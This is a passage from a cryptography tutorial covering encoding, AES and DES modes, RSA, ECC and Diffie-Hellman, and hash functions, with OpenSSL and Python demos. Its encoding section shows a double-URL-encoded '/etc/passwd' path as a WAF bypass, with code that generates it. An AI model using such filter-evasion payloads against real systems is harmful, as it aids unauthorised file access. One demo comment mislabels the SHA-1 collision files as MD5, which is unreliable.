Heartbleed (CVE-2014-0160): Not a cryptographic break, but a bug in OpenSSL's heartbeat extension that exposed 64KB of server memory per request — including private keys. When a private key is compromised, all past TLS sessions encrypted with that key (if not using Perfect Forward Secrecy) can be decrypted. Every certificate using the compromised key must be revoked and reissued. 17% of all secure web servers were affected simultaneously.

DUHK (Don't Use Hard-coded Keys, 2017): Some VPN implementations used a hardcoded seed value for their random number generator, making it possible to predict all encryption keys. A weak PRNG is as devastating as no encryption — the mathematics are correct, but the key material is predictable.

For OT/ICS: Industrial protocols from the 1980s-2000s (Modbus, DNP3 baseline, PROFIBUS) have no cryptography whatsoever — no authentication, no integrity, no confidentiality. IEC 62351 was developed specifically to add cryptographic security to these protocols, but adoption remains low. Understanding cryptography tells you exactly why a Modbus write command can be forged by anyone on the network and what it would take to prevent it.

2. What Is Encryption — First Principles

2.1 The Core Concept

Encryption transforms readable data (plaintext) into unreadable data (ciphertext) using a mathematical algorithm and a key. Only parties possessing the correct key can reverse the process (decryption) to recover the plaintext.

Encryption:
  Plaintext + Key + Algorithm → Ciphertext
  "Hello"  + "K"  + AES      → "x7Kp2mQ9..."

Decryption:
  Ciphertext + Key + Algorithm → Plaintext
  "x7Kp2mQ9..." + "K" + AES   → "Hello"

The algorithm (cipher) is typically PUBLIC — Kerckhoffs's principle:
  "A cryptosystem should be secure even if everything about the
   system, except the key, is public knowledge."

  Rationale: If security depends on algorithm secrecy ("security through
  obscurity"), once the algorithm is discovered (and it will be), all
  security is lost. Security must come from key secrecy alone.

  Corollary: Proprietary/secret encryption algorithms are a red flag.
  They haven't been publicly scrutinised — they are almost certainly weaker
  than publicly reviewed standards like AES.

2.2 The Mathematics of Security

Encryption security is based on mathematical problems that are easy to perform in one direction but computationally infeasible to reverse without the key.

Easy vs Hard Problems in Cryptography:

Symmetric (AES):
  Hard problem: Given ciphertext, find key without the key
  Security: Exhaustive search (brute force) of keyspace
  AES-128: 2^128 possible keys = 3.4 × 10^38 keys
  At 10^18 guesses/second: 1.07 × 10^13 years (longer than universe age)

Asymmetric (RSA):
  Hard problem: Integer Factorisation
  Given N = p × q (product of two large primes), find p and q
  Easy: multiply 2 large primes (milliseconds)
  Hard: factor the product (currently infeasible for 2048-bit)

Asymmetric (ECC):
  Hard problem: Elliptic Curve Discrete Logarithm Problem (ECDLP)
  Given P and Q = k×P (on an elliptic curve), find k
  Currently infeasible for 256-bit curves

  Key insight: 256-bit ECC ≈ 3072-bit RSA in security level
  ECC keys are much shorter for equivalent security

Hash Functions:
  Hard problem: Finding a collision or preimage
  Given H(x), find x (preimage resistance)
  Given H(x), find x' where H(x') = H(x) (second preimage)
  Find any x, x' where H(x) = H(x') (collision resistance)

2.3 Key Length and Security Levels

NIST Recommended Key Sizes (2024):

Security Level  Symmetric  RSA/DH  ECC
──────────────────────────────────────────────────
80-bit          2TDEA       1024    160 (MINIMUM — deprecated)
112-bit         3TDEA       2048    224 (acceptable transitional)
128-bit         AES-128     3072    256 (recommended minimum)
192-bit         AES-192     7680    384
256-bit         AES-256    15360    521

"Security level" = approximate bits of work for best known attack

Future threat — Quantum Computing:
  Shor's algorithm breaks RSA and ECC entirely (exponential speedup)
  Grover's algorithm halves symmetric key security (128-bit → 64-bit effective)

  Post-Quantum Cryptography (PQC) — NIST finalists (2024):
  CRYSTALS-Kyber: Key encapsulation (replaces RSA/ECDH)
  CRYSTALS-Dilithium: Digital signatures (replaces RSA/ECDSA)
  FALCON: Digital signatures
  SPHINCS+: Hash-based signatures (no quantum threat to hash functions)

  Timeline: quantum computers capable of breaking RSA-2048 estimated 10-20 years
  Harvest now, decrypt later: attackers capturing encrypted traffic today
  to decrypt when quantum computers become available
  → "Cryptographically relevant quantum computer" (CRQC) threat

3. Encoding vs Encryption vs Hashing

These three are routinely confused. The confusion has security consequences.

┌─────────────────┬──────────────────────────┬──────────────┬────────────────────┐
│                 │ Purpose                  │ Reversible?  │ Key Required?      │
├─────────────────┼──────────────────────────┼──────────────┼────────────────────┤
│ ENCODING        │ Format conversion        │ YES (trivial)│ NO                 │
│                 │ for transmission         │              │                    │
├─────────────────┼──────────────────────────┼──────────────┼────────────────────┤
│ ENCRYPTION      │ Confidentiality          │ YES (with key)│ YES               │
│                 │ (hide data from          │              │                    │
│                 │ unauthorised parties)    │              │                    │
├─────────────────┼──────────────────────────┼──────────────┼────────────────────┤
│ HASHING         │ Integrity verification   │ NO           │ NO                 │
│                 │ (one-way fingerprint)    │ (by design)  │                    │
└─────────────────┴──────────────────────────┴──────────────┴────────────────────┘

3.1 Encoding

Encoding converts data from one format to another for compatibility or transmission purposes. It provides zero security — it is trivially reversed by anyone.

Common encodings:

Base64:
  Converts binary to printable ASCII
  Used: email attachments (MIME), HTTP Basic Auth, JWT tokens, data URIs
  "Hello" → "SGVsbG8="

  NOT encryption — security implication:
  "Authorization: Basic YWRtaW46cGFzc3dvcmQ=" in HTTP header
  Base64 decode → admin:password (instant)

URL Encoding (Percent Encoding):
  Converts special characters for URL safety
  "Hello World" → "Hello%20World"
  "/" → "%2F"

  Security: URL encoding bypass of WAFs/filters
  /etc/passwd → /%65%74%63/%70%61%73%73%77%64
  Some WAFs decode only once; double-encoded input bypasses them

ASCII/Unicode:
  Character ↔ number mapping
  'A' = 65 = 0x41
  No security provided

Hex encoding:
  Binary → hexadecimal representation
  0x48 0x65 0x6C 0x6C 0x6F = "Hello"

ROT13:
  Caesar cipher (rotate letters 13 positions)
  NOT encryption — symmetric but trivially reversed
  Used as "spoiler protection", never for security

# Encoding demonstrations:

# Base64 encode/decode:
echo "admin:password" | base64                    # Encode: YWRtaW46cGFzc3dvcmQ=
echo "YWRtaW46cGFzc3dvcmQ=" | base64 -d          # Decode: admin:password

# URL encode/decode with Python:
python3 -c "
import urllib.parse
# Encode
encoded = urllib.parse.quote('/etc/passwd')
print('Encoded:', encoded)   # %2Fetc%2Fpasswd

# Double encode (WAF bypass technique)
double = urllib.parse.quote(encoded)
print('Double:', double)    # %252Fetc%252Fpasswd
"

# Hex encode/decode:
echo "Hello" | xxd -p                              # Hex encode: 48656c6c6f0a
echo "48656c6c6f" | xxd -r -p                      # Hex decode: Hello

# Detect encoding in captured traffic:
echo "SGVsbG8gV29ybGQ=" | base64 -d               # Check if it's base64
echo "48656c6c6f" | python3 -c "import sys; print(bytes.fromhex(sys.stdin.read().strip()).decode())"

3.2 The Critical Security Distinction

Most common security mistake: treating encoding as encryption

Example — "stored encoded" passwords (wrong!):
  Password: "SecretPass123"
  Stored as: base64("SecretPass123") = "U2VjcmV0UGFzczEyMw=="
  Security provided: ZERO
  If database is breached: echo "U2VjcmV0UGFzczEyMw==" | base64 -d → SecretPass123

Correct approach:
  Password: "SecretPass123"
  Stored as: bcrypt("SecretPass123") = "$2b$12$LKJSD...."
  Security: computationally infeasible to reverse
  If database is breached: hashes must be cracked (expensive)

Example — "encoded" API credentials in source code:
  API_KEY = base64.encode("ak_prod_12345secret")
  Developers think this hides the key in code
  Anyone who reads the code: decode → plaintext key
  Correct: environment variables, secrets management (Vault, AWS Secrets Manager)

4. Symmetric Encryption — AES, DES, 3DES, Blowfish

4.1 How Symmetric Encryption Works

Symmetric encryption uses the same key for encryption and decryption. The key must be shared between sender and receiver through a secure channel — the "key distribution problem."

Symmetric Encryption Flow:

  Alice                              Bob
    │                                 │
    │ Encrypt with shared key K       │
    │ "Hello" + K → "x7Kp2mQ9..."   │
    │                                 │
    │ ─── Ciphertext ───────────────→ │
    │     (safe to send publicly)     │
    │                                 │
    │                 Decrypt with K  │
    │                 "x7Kp2mQ9..." + K → "Hello"

Key distribution problem:
  How do Alice and Bob share key K securely?
  If they're communicating for the first time over an insecure channel:
  Sending K over the channel → attacker intercepts K → can decrypt everything

Solution: Use asymmetric encryption to exchange the symmetric key
  (this is exactly what TLS does — see Section 10)

4.2 Block Ciphers vs Stream Ciphers

Block Ciphers:
  Process data in fixed-size blocks (64-bit, 128-bit)
  Examples: AES (128-bit blocks), DES (64-bit blocks)
  Must handle data that isn't exactly block-size → padding
  Mode of operation determines security properties

Stream Ciphers:
  Process data one bit/byte at a time
  Examples: RC4 (broken), ChaCha20 (modern, secure)
  No padding needed
  More efficient for streaming data
  Crucial: NEVER reuse the same key+nonce combination
           Reuse → XOR ciphertexts → plaintext recovered

4.3 Block Cipher Modes of Operation

The mode of operation transforms a block cipher into a complete encryption scheme. Different modes have radically different security properties.

ECB (Electronic Codebook) — NEVER USE:
  Each block encrypted independently with same key
  Same plaintext block → same ciphertext block

  Security failure:
  Block 1: "Hello Wor" → "x7Kp2mQ9"
  Block 2: "Hello Wor" → "x7Kp2mQ9"  (IDENTICAL — reveals pattern)

  The Linux Penguin (ECB mode image encryption):
  Encrypt a bitmap image of a penguin with AES-ECB
  The outline of the penguin is still visible in the ciphertext
  Because identical pixel blocks produce identical ciphertext blocks
  ECB is broken for any data with patterns (text, images, structured data)

CBC (Cipher Block Chaining) — Common, requires care:
  Each block XOR'd with previous ciphertext before encryption
  Requires Initialization Vector (IV) for first block
  IV must be random and unique per message

  Vulnerabilities:
  - Padding oracle attacks (POODLE, CBC padding oracle)
  - IV reuse → information leakage
  - CBC decryption is parallelisable, encryption is not

CTR (Counter Mode) — Recommended:
  Uses block cipher as pseudo-random generator
  Counter value encrypted, XOR'd with plaintext
  Transforms block cipher into stream cipher
  Encryption AND decryption are parallelisable
  Random access within ciphertext possible

GCM (Galois/Counter Mode) — Best practice:
  CTR mode + Galois Message Authentication Code (GMAC)
  Provides both confidentiality AND integrity/authentication
  "Authenticated encryption with associated data" (AEAD)

  This is what TLS 1.3 uses: AES-128-GCM, AES-256-GCM, ChaCha20-Poly1305

  Critical: GCM nonce must NEVER be reused with the same key
  Nonce reuse in GCM → authentication key revealed → all security lost

4.4 AES — Advanced Encryption Standard

AES (Rijndael algorithm, selected by NIST 2001) is the gold standard for symmetric encryption. Understanding how it works illuminates why it is secure.

AES Specifications:
  Block size: 128 bits (16 bytes) — ALWAYS
  Key sizes: 128, 192, or 256 bits
  Rounds: 10 (AES-128), 12 (AES-192), 14 (AES-256)

AES Internal Structure — Substitution-Permutation Network:

State: 4×4 matrix of bytes (128 bits)
┌──┬──┬──┬──┐
│b0│b4│b8│b12│
│b1│b5│b9│b13│
│b2│b6│b10│b14│
│b3│b7│b11│b15│
└──┴──┴──┴──┘

Each round (except last) applies four operations:

1. SubBytes: each byte replaced by substitute from S-box (256-entry lookup table)
   Provides non-linearity (without this, AES would be linear algebra — trivially broken)

2. ShiftRows: row i is shifted i bytes to the left
   Row 0: unchanged
   Row 1: [b1,b5,b9,b13] → [b5,b9,b13,b1]
   Row 2: [b2,b6,b10,b14] → [b10,b14,b2,b6]
   Row 3: [b3,b7,b11,b15] → [b15,b3,b7,b11]
   Provides diffusion across columns

3. MixColumns: each column multiplied by a matrix in GF(2^8)
   Provides diffusion — one input bit affects multiple output bytes

4. AddRoundKey: XOR state with round key (derived from original key via key schedule)

Final round: SubBytes + ShiftRows + AddRoundKey (no MixColumns)
Key schedule: original key expanded into 11 (AES-128) or 15 (AES-256) round keys

Security: No known attacks significantly better than brute force against AES itself
          All known vulnerabilities are implementation-level (timing attacks, cache attacks)

4.5 DES — Data Encryption Standard

DES (IBM/NIST, 1977) was the dominant encryption standard for 20 years. It is now completely broken.

DES Specifications:
  Block size: 64 bits (8 bytes)
  Key size: 56 bits (actually 64 bits, 8 are parity bits)
  Rounds: 16 (Feistel network)

Why DES is broken:
  56-bit key = 2^56 = 72 quadrillion possible keys
  1998: EFF's "Deep Crack" machine cracked DES in 22 hours for $250,000
  2008: FPGA cluster cracked DES in 6.4 days for $10,000
  2012: Cloud computing: DES crackable in hours for ~$100
  Today: DES cracked in minutes on commodity hardware

DES Attacks:
  - Brute force: 2^56 key search (trivial with modern hardware)
  - Differential cryptanalysis: theoretical attacks requiring 2^47 chosen plaintexts
  - Linear cryptanalysis: requires 2^43 known plaintexts
  - Neither more practical than brute force — brute force is already practical

Do not use DES for any purpose.

4.6 3DES (Triple DES)

3DES applies DES three times to extend effective key length.

3DES Variants:
  DES-EEE3: Encrypt-Encrypt-Encrypt with 3 different keys (168-bit key, 112-bit security)
  DES-EDE3: Encrypt-Decrypt-Encrypt with 3 different keys (most common, "Triple DES")
  DES-EDE2: Encrypt-Decrypt-Encrypt with 2 different keys (K1=K3, 112-bit key, 80-bit security)

Why 3DES doesn't give 168-bit security:
  Meet-in-the-Middle attack reduces DES-EDE3 to ~112 bits of security
  Still exponentially better than single DES

Problems with 3DES:
  - 64-bit block size → "birthday bound" problem
  - After 2^32 blocks (~32 GB), collisions become likely
  - SWEET32 attack (CVE-2016-2183): exploits 64-bit block birthday bound
    to recover plaintext from long-lived TLS sessions using 3DES
  - Only ~112 bits of security (not 168)
  - MUCH slower than AES (3× DES operations per block)

NIST deprecated 3DES in 2017 (allowed until 2023, disallowed after)
3DES is still found in: legacy payment systems (PCI-DSS grace period),
old TLS configurations, mainframe systems

4.7 Blowfish and Twofish

Blowfish (Bruce Schneier, 1993):
  Block size: 64 bits (same birthday-bound problem as DES/3DES)
  Key size: 32-448 bits (variable)
  Design: public domain, no patent

  Security: No known significant vulnerabilities against Blowfish itself
  Problem: 64-bit block size (SWEET32 applies)
  Use: bcrypt password hashing algorithm uses modified Blowfish (Eksblowfish)
       bcrypt is still recommended for passwords — Blowfish-derived, not raw Blowfish

  Do not use raw Blowfish for data encryption today.

Twofish (Schneier et al., 1998):
  AES finalist (lost to Rijndael in 2001 selection)
  Block size: 128 bits (no birthday-bound problem)
  Key size: 128, 192, 256 bits
  Public domain, no patent
  Still considered secure — no known practical attacks
  Less deployed than AES (lost the competition)
  Available in: TrueCrypt/VeraCrypt, GPG, some TLS configurations

# Symmetric encryption in practice:

# AES-256-GCM encryption with OpenSSL:
openssl enc -aes-256-gcm \
    -in plaintext.txt \
    -out encrypted.bin \
    -pass pass:"MySecretPassword" \
    -pbkdf2 \
    -iter 100000
# -aes-256-gcm: AES 256-bit in GCM mode (authenticated encryption)
# -pass pass: derive key from password
# -pbkdf2: use PBKDF2 key derivation (not simple MD5)
# -iter 100000: 100,000 iterations of PBKDF2 (makes brute force slower)

# Decryption:
openssl enc -d -aes-256-gcm \
    -in encrypted.bin \
    -out decrypted.txt \
    -pass pass:"MySecretPassword" \
    -pbkdf2 \
    -iter 100000

# AES in Python (cryptography library):
python3 << 'EOF'
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os

# Generate random 256-bit key
key = os.urandom(32)              # 32 bytes = 256 bits

# Generate random 96-bit nonce (12 bytes — recommended for GCM)
nonce = os.urandom(12)

# Create AES-GCM cipher
aesgcm = AESGCM(key)

# Encrypt
plaintext = b"Secret message"
associated_data = b"authenticated but not encrypted metadata"
ciphertext = aesgcm.encrypt(nonce, plaintext, associated_data)
print(f"Ciphertext: {ciphertext.hex()}")
print(f"Length: {len(ciphertext)} bytes (plaintext + 16-byte auth tag)")

# Decrypt (will raise exception if tampered)
try:
    decrypted = aesgcm.decrypt(nonce, ciphertext, associated_data)
    print(f"Decrypted: {decrypted}")
except Exception as e:
    print(f"Authentication failed: {e}")  # Ciphertext was modified
EOF

# Check what cipher a TLS connection uses:
openssl s_client -connect google.com:443 2>/dev/null | grep "Cipher"
# Look for: AES-128-GCM or AES-256-GCM or CHACHA20-POLY1305

# Test if a server still supports broken ciphers:
nmap --script ssl-enum-ciphers -p 443 target.com | grep -E "DES|RC4|NULL|EXPORT"
# Any of these: immediately report — broken ciphers in use

Key Insight: AES-256-GCM is the correct answer for symmetric encryption in 2024. The mode matters as much as the algorithm — AES-ECB is broken regardless of key length. GCM's built-in authentication tag (AEAD) means you get confidentiality and integrity in a single primitive. If you see DES, 3DES, RC4, or ECB mode anywhere in a production system, it is a vulnerability.

5. Asymmetric Encryption — RSA, ECC, Diffie-Hellman

5.1 The Key Exchange Problem — Why Asymmetric Cryptography Exists

Symmetric encryption has a fundamental problem: both parties must share the same key before they can communicate securely. How do you share a key securely with someone you've never met, over an insecure channel?

Asymmetric cryptography (public key cryptography) solves this by using mathematically related key pairs:

Public key: can be shared with anyone
Private key: kept secret, never shared

Key Pair Relationship:

  Private Key                Public Key
  ───────────               ─────────────
  Secret (never share)      Share freely
  Decrypts what public      Encrypts for private
  key encrypted             key holder
  Signs messages            Verifies signature

The magic: public and private keys are mathematically related
but it is computationally infeasible to derive the private key
from the public key (assuming the hard problems hold)

Analogy:
  Public key = padlock (anyone can lock)
  Private key = key to open the padlock

  You give your padlock to Alice
  Alice puts message in box, locks with your padlock
  Only you (private key holder) can open the padlock

5.2 RSA — Rivest-Shamir-Adleman

RSA (1977) is based on the difficulty of factoring large integers.

RSA Key Generation:
1. Choose two large prime numbers p and q (each ~1024-2048 bits)
2. Compute n = p × q (the modulus — public)
3. Compute φ(n) = (p-1)(q-1) (Euler's totient — secret)
4. Choose e such that 1 < e < φ(n) and gcd(e, φ(n)) = 1
   (public exponent — usually 65537 = 2^16 + 1)
5. Compute d = e^(-1) mod φ(n) (private exponent)

Public key:  (n, e)
Private key: (n, d)  [also need p, q for efficient computation]

RSA Encryption (message M):
  Ciphertext C = M^e mod n

RSA Decryption:
  Message M = C^d mod n

Security: Given n, find p and q (integer factorisation)
  This is computationally hard for large n (2048+ bits)

RSA Key Sizes and Security:
  1024-bit: BROKEN (factorable since 2010, do not use)
  2048-bit: Currently secure minimum (recommended for legacy compat)
  3072-bit: Post-2030 recommendation
  4096-bit: High-security applications

RSA Attack History:

RSA-768 factored (2009): 768-bit RSA key factored using 30 years of CPU time
RSA-1024: Not yet factored but academic consensus: should not be used
ROCA vulnerability (CVE-2017-15361):
  Infineon Technologies RSA key generation library flaw
  Generated keys with detectable prime patterns
  Allowed factoring 1024-bit keys in <1 hour, 2048-bit in ~2 weeks
  Affected: YubiKey, TPM chips, smart cards
  1.25 billion keys potentially vulnerable

Bleichenbacher's attack (1998, recurring as ROBOT 2017):
  RSA PKCS#1 v1.5 padding oracle
  If server responds differently to valid vs invalid padding:
  Attacker can recover plaintext of RSA-encrypted messages
  Requires ~1 million queries to server
  Affected F5, Citrix, Cisco, Palo Alto and others in 2017
  ROBOT (Return Of Bleichenbacher's Oracle Threat) - 19 years after original

5.3 ECC — Elliptic Curve Cryptography

ECC is based on the algebraic structure of elliptic curves over finite fields.

Elliptic Curve:
  y² = x³ + ax + b (over a finite field GF(p))

  Standard curves (NIST):
  P-256 (secp256r1): 256-bit, 128-bit security
  P-384 (secp384r1): 384-bit, 192-bit security
  P-521 (secp521r1): 521-bit, 260-bit security

  Alternative curves (more trusted implementation properties):
  Curve25519: Ed25519 signatures, X25519 key exchange (preferred)
              Designed by Daniel Bernstein, no NIST involvement
              No concerns about NIST/NSA backdoor in curve parameters
              Used in: Signal, TLS 1.3 key exchange, SSH keys, WireGuard

ECC Key Exchange (ECDH — Elliptic Curve Diffie-Hellman):
  1. Alice generates private key a, computes public key A = a×G (G = generator point)
  2. Bob generates private key b, computes public key B = b×G
  3. Alice computes shared secret: S = a×B = a×(b×G) = (ab)×G
  4. Bob computes shared secret: S = b×A = b×(a×G) = (ab)×G
  Both get the same shared secret without ever transmitting it

ECC Signatures (ECDSA — Elliptic Curve Digital Signature Algorithm):
  Sign with private key, verify with public key
  Much shorter signatures than RSA for equivalent security:
  RSA-2048 signature: 256 bytes
  ECDSA-256 signature: 64 bytes

Advantage over RSA:
  256-bit ECC ≈ 3072-bit RSA in security
  Shorter keys = faster computation, less storage, smaller certificates
  TLS 1.3 exclusively uses ECDHE for key exchange (no RSA key exchange)

5.4 Diffie-Hellman Key Exchange

DH (1976) was the first public key exchange protocol published. It solves key distribution without ever transmitting the key.

Classic DH (finite field):

1. Public parameters: prime p, generator g (both public, known to everyone)

2. Alice: chooses secret a, computes A = g^a mod p (sends A to Bob)
3. Bob:   chooses secret b, computes B = g^b mod p (sends B to Alice)

4. Alice: computes S = B^a mod p = (g^b)^a mod p = g^(ab) mod p
5. Bob:   computes S = A^b mod p = (g^a)^b mod p = g^(ab) mod p

Both get the same S = g^(ab) mod p — the shared secret
Attacker sees: p, g, A=g^a mod p, B=g^b mod p
To find S: must solve discrete logarithm problem (find a from g^a mod p)
This is computationally hard for large p

DH Key Sizes:
  1024-bit: deprecated (Logjam attack showed feasibility of precomputation)
  2048-bit: minimum acceptable
  3072-bit: recommended

Ephemeral DH (DHE / ECDHE):
  New a, b generated for each session
  Provides: Perfect Forward Secrecy (PFS)
  If long-term key (private key) is compromised later:
  Past sessions cannot be decrypted (each had unique ephemeral keys)

  CRITICAL SECURITY PROPERTY:
  RSA key exchange (static): compromise private key → decrypt ALL past sessions
  ECDHE: compromise private key → can impersonate server, but past sessions safe

  TLS 1.3 mandates ECDHE — forward secrecy is no longer optional

# Asymmetric cryptography in practice:

# Generate RSA key pair:
openssl genrsa -out private.pem 4096           # Generate 4096-bit RSA private key
openssl rsa -in private.pem -pubout -out public.pem  # Extract public key

# View key details:
openssl rsa -in private.pem -text -noout | head -20
# Shows: modulus, public exponent (65537), private exponent, primes

# Generate ECC key pair (preferred):
openssl ecparam -name prime256v1 -genkey -noout -out ec_private.pem  # P-256
openssl ec -in ec_private.pem -pubout -out ec_public.pem
# Or use Curve25519 (preferred):
openssl genpkey -algorithm X25519 -out x25519_private.pem
openssl pkey -in x25519_private.pem -pubout -out x25519_public.pem

# RSA encrypt/decrypt:
echo "Secret message" > plaintext.txt
openssl rsautl -encrypt -inkey public.pem -pubin -in plaintext.txt -out encrypted.bin
openssl rsautl -decrypt -inkey private.pem -in encrypted.bin -out decrypted.txt
cat decrypted.txt

# Check a server's public key:
openssl s_client -connect google.com:443 2>/dev/null | \
    openssl x509 -noout -text | grep -E "Public Key Algorithm|Public-Key:"
# Shows: RSA 2048-bit or EC P-256 etc.

# Python - RSA encryption:
python3 << 'EOF'
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes, serialization

# Generate 2048-bit RSA key pair
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()

# Encrypt with public key (OAEP padding — correct padding scheme)
message = b"Secret message"
ciphertext = public_key.encrypt(
    message,
    padding.OAEP(
        mgf=padding.MGF1(algorithm=hashes.SHA256()),
        algorithm=hashes.SHA256(),
        label=None
    )
)
print(f"Encrypted: {ciphertext[:20].hex()}... ({len(ciphertext)} bytes)")

# Decrypt with private key
plaintext = private_key.decrypt(
    ciphertext,
    padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),
                 algorithm=hashes.SHA256(), label=None)
)
print(f"Decrypted: {plaintext}")
EOF

Key Insight: RSA and ECC solve the key distribution problem but are NOT used to encrypt actual data at scale — they are too slow. In practice, asymmetric cryptography is used to securely exchange a symmetric key, which then encrypts the actual data. This hybrid approach (asymmetric for key exchange, symmetric for data encryption) is exactly how TLS works.

6. Hash Functions — MD5, SHA-1, SHA-256, SHA-3

6.1 What Hash Functions Are

A cryptographic hash function takes any input (any size) and produces a fixed-size output (digest/hash) with specific mathematical properties.

Hash Function Properties (required for security):

1. Deterministic: Same input → always same output
   hash("Hello") → always produces the same hash

2. Fixed Output Size: Regardless of input length
   hash("a") → 256 bits
   hash(entire_movie.mp4) → 256 bits (same length)

3. One-Way (Preimage Resistance):
   Given H, computationally infeasible to find M where hash(M) = H
   Cannot reverse the hash to get input

4. Second Preimage Resistance:
   Given M1, computationally infeasible to find M2 where hash(M1) = hash(M2)
   Cannot find a different input with the same hash

5. Collision Resistance:
   Computationally infeasible to find ANY M1, M2 where hash(M1) = hash(M2)
   (Note: collisions MUST exist — infinite inputs, finite outputs)
   But finding them should be computationally infeasible

6. Avalanche Effect: Small change → completely different output
   hash("Hello") → "2cf24d..."
   hash("hello") → "b94d27b9..."  (completely different — 1 bit change)
   This prevents any correlation between input and output

6.2 Hash Algorithms Comparison

Algorithm  Output   Status         Best Attack           Security
──────────────────────────────────────────────────────────────────────────────
MD5        128-bit  BROKEN         Collision: 2009       NONE for integrity
                                   (Flame malware used   DO NOT USE
                                   MD5 collision for
                                   code signing bypass)
SHA-1      160-bit  BROKEN         SHAttered (2017):     DO NOT USE
                                   Google/CWI computed   for security
                                   first SHA-1 collision purposes
                                   Cost: ~$100,000 GPU
SHA-224    224-bit  Deprecated     Theoretical only      Acceptable transitional
SHA-256    256-bit  SECURE         No practical attack    128-bit security
                                   known                  USE THIS
SHA-384    384-bit  SECURE         No practical attack    192-bit security
SHA-512    512-bit  SECURE         No practical attack    256-bit security
SHA-3-256  256-bit  SECURE         Different design       128-bit security
                                   from SHA-2 family     Use for diversity
BLAKE2b    512-bit  SECURE         No practical attack    256-bit security
                                                          Faster than SHA-3
BLAKE3     256-bit  SECURE         No practical attack    128-bit security
                                                          Fastest modern hash

6.3 MD5 — Broken

MD5 (Ronald Rivest, 1992):
  Output: 128-bit (32 hex characters)

Timeline of MD5's death:
  1993: Den Boer and Bosselaers: theoretical weaknesses found
  1996: Dobbertin: MD5 compression function collisions found (partial break)
  2004: Wang et al.: first full MD5 collisions computed
         Cost: hours on a laptop
  2005: Lenstra et al.: demonstrated MD5-based X.509 certificate collision
         Two different certificates with the same MD5 hash
  2008: CMU/Sotirov: rogue CA certificate using MD5 collision
         Created fraudulent intermediate CA certificate trusted by all browsers
         Full HTTPS impersonation of any website theoretically possible
  2012: Flame malware: used MD5 collision to forge Microsoft code-signing certificate
         Malware appeared to be legitimately signed by Microsoft
         Affected: Iranian nuclear programme (likely)

MD5 in security today:
  NEVER use for: passwords, digital signatures, certificates, any security purpose
  MAY use for: non-security file deduplication, non-security checksums
               (but SHA-256 is equally fast and secure — just use SHA-256)
  Found in: legacy systems, old configurations, some OT firmware update checks

6.4 SHA-1 — Broken

SHA-1 (NIST, 1995):
  Output: 160-bit (40 hex characters)

Timeline:
  2005: Xiaoyun Wang: theoretical collision attack (2^69 operations vs 2^80 ideal)
  2007: NIST recommends migration away from SHA-1
  2011: CA/Browser Forum: ban SHA-1 certificates after 2015
  2017: SHAttered attack (Google/CWI Amsterdam):
         First SHA-1 collision computed
         Two different PDF files with IDENTICAL SHA-1 hashes
         Cost: 9 quintillion SHA-1 computations = ~$100,000 in cloud computing
         Same PDF files have different content but same SHA-1 hash

  2020: Chosen-prefix collision: find collision given arbitrary prefixes
         More powerful than identical-prefix collision
         Cost reduced to ~$50,000

Impact of SHAttered:
  Git uses SHA-1 internally (aware, mitigations added: SHA-256 migration ongoing)
  Any SHA-1-based integrity check can potentially be bypassed

SHA-1 in security today:
  NEVER use for: digital signatures, certificates, TLS, code signing
  Legacy OT concern: many industrial firmware update mechanisms use SHA-1
                     for integrity verification — still vulnerable to SHAttered
                     type attacks on controlled devices

6.5 SHA-256 and SHA-3

SHA-256 (NIST, 2001) — Part of SHA-2 family:
  Output: 256-bit (64 hex characters)
  Internal structure: Merkle-Damgård construction with Davies-Meyer compression
  No practical attacks known
  Used in: Bitcoin, TLS, code signing, most modern security applications

SHA-3 (Keccak, NIST standardised 2015):
  Different internal structure from SHA-2 (sponge construction)
  Not vulnerable to length extension attacks (SHA-2 is)
  SHA-3-256 output: 256-bit
  Adoption: slower (SHA-2 still dominant)
  Use case: when diversity from SHA-2 is needed (defence against future SHA-2 attacks)

Length Extension Attack (SHA-2 weakness, not SHA-3):
  Given H(m) and len(m) but NOT m:
  Attacker can compute H(m || padding || extension) without knowing m

  Attack scenario:
  API: sign request with SHA-256(secret_key || request_params)
  Attacker: knows H(secret_key || "user=alice")
            Can compute H(secret_key || "user=alice" || padding || "&admin=true")
            Without knowing secret_key!

  Fix: use HMAC instead of raw hash for message authentication
  HMAC is not vulnerable to length extension attacks

# Hash function demonstrations:

# Calculate hashes of same file:
echo "Hello World" > test.txt
md5sum test.txt         # MD5: e59ff97941044f85df5297e1c302d260
sha1sum test.txt        # SHA1: 648a6a6ffffdaa0badb23b8baf90b6168dd16b3a
sha256sum test.txt      # SHA256: d2a84f4b8b650937ec8f73cd8be2c74add5a911ba64df27458ed8229da804a26
sha512sum test.txt      # SHA512: (128 hex chars)
b2sum test.txt          # BLAKE2b (package: b2sum)

# Verify file integrity (download verification):
wget https://example.com/software.tar.gz
wget https://example.com/software.tar.gz.sha256sum
sha256sum -c software.tar.gz.sha256sum
# "software.tar.gz: OK" = file not tampered

# Demonstrate avalanche effect:
python3 << 'EOF'
import hashlib

msg1 = b"Hello World"
msg2 = b"Hello world"  # Only capital W changed

h1 = hashlib.sha256(msg1).hexdigest()
h2 = hashlib.sha256(msg2).hexdigest()

print(f"SHA-256('Hello World'): {h1}")
print(f"SHA-256('Hello world'): {h2}")

# Count differing bits:
b1 = int(h1, 16)
b2 = int(h2, 16)
diff = bin(b1 ^ b2).count('1')
print(f"Differing bits: {diff} out of 256 ({diff/256*100:.1f}%)")
# Approximately 128 bits differ (50%) — avalanche effect
EOF

# Demonstrate MD5 collision (SHAttered file pair):
# Download the two PDF files that have same SHA-1:
# wget https://shattered.io/static/shattered-1.pdf
# wget https://shattered.io/static/shattered-2.pdf
# sha1sum shattered-1.pdf shattered-2.pdf  # IDENTICAL SHA-1
# sha256sum shattered-1.pdf shattered-2.pdf  # DIFFERENT SHA-256

# HMAC (keyed hash, MAC):
python3 -c "
import hmac, hashlib
key = b'secret_key'
message = b'user=alice&action=transfer&amount=1000'
mac = hmac.new(key, message, hashlib.sha256).hexdigest()
print(f'HMAC-SHA256: {mac}')
# Attacker cannot forge this without knowing the key
# Not vulnerable to length extension attacks
"

7. Salt and Pepper — Password Hashing

7.1 Why Naive Password Hashing Fails

Simply hashing passwords and storing the hash is insufficient protection. Two attacks defeat it:

Attack 1 — Rainbow Tables:
  Precompute hashes of millions of common passwords:
  MD5("password")  = "5f4dcc3b5aa765d61d8327deb882cf99"
